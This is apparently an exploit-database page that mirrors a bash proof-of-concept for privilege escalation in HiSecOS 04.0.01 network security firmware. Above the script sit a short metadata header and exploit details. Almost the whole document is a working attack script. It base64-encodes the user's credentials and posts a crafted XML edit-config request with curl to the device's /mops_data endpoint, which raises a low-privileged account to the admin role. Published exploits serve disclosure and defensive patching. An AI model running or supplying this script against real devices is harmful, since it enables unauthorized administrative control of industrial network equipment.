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HiSecOS 04.0.01 Privilege Escalation

CVE Category Price Severity
CWE-332 $5,000 High
Author Risk Exploitation Type Date
Unknown High Local 2023-06-22
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023060056

Below is a copy:

HiSecOS 04.0.01 Privilege Escalation
# Exploit Title: HiSecOS 04.0.01 - Privilege Escalation
# Google Dork: HiSecOS Web Server Vulnerability Allows User Role Privilege Escalation
# Date: 21.06.2023
# Exploit Author: dreizehnutters
# Vendor Homepage: https://dam.belden.com/dmm3bwsv3/assetstream.aspx?assetid=15437&mediaformatid=50063&destinationid=10016
# Version: HiSecOS-04.0.01 or lower
# Tested on: HiSecOS-04.0.01
# CVE: BSECV-2021-07

#!/bin/bash

if [[ $# -lt 3 ]]; then
  echo "Usage: $0 <IP> <USERNAME> <PASSWORD>"
  exit 1
fi

target="$1"
user="$2"
pass="$3"

# Craft basic header
auth=$(echo -ne "$user:$pass" | base64)

# Convert to ASCII hex
blob=$(printf "$user" | xxd -ps -c 1)

# Generate XML payload ('15' -> admin role)
gen_payload() {
  cat <<EOF
<rpc xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:x-mops:1.0 ../mops.xsd" message-id="20">
  <mibOperation xmlns="urn:x-mops:1.0">
    <edit-config>
      <MIBData>
        <MIB name="HM2-USERMGMT-MIB">
          <Node name="hm2UserConfigEntry">
            <Index>
              <Attribute name="hm2UserName">$blob</Attribute>
            </Index>
            <Set name="hm2UserAccessRole">15</Set>
          </Node>
        </MIB>
      </MIBData>
    </edit-config>
  </mibOperation>
</rpc>
EOF
}

curl -i -s -k -X POST \
  -H "content-type: application/xml" \
  -H "authorization: Basic ${auth}" \
  --data-binary "$(gen_payload)" \
  "https://${target}/mops_data"

echo "[*] $user is now an admin"

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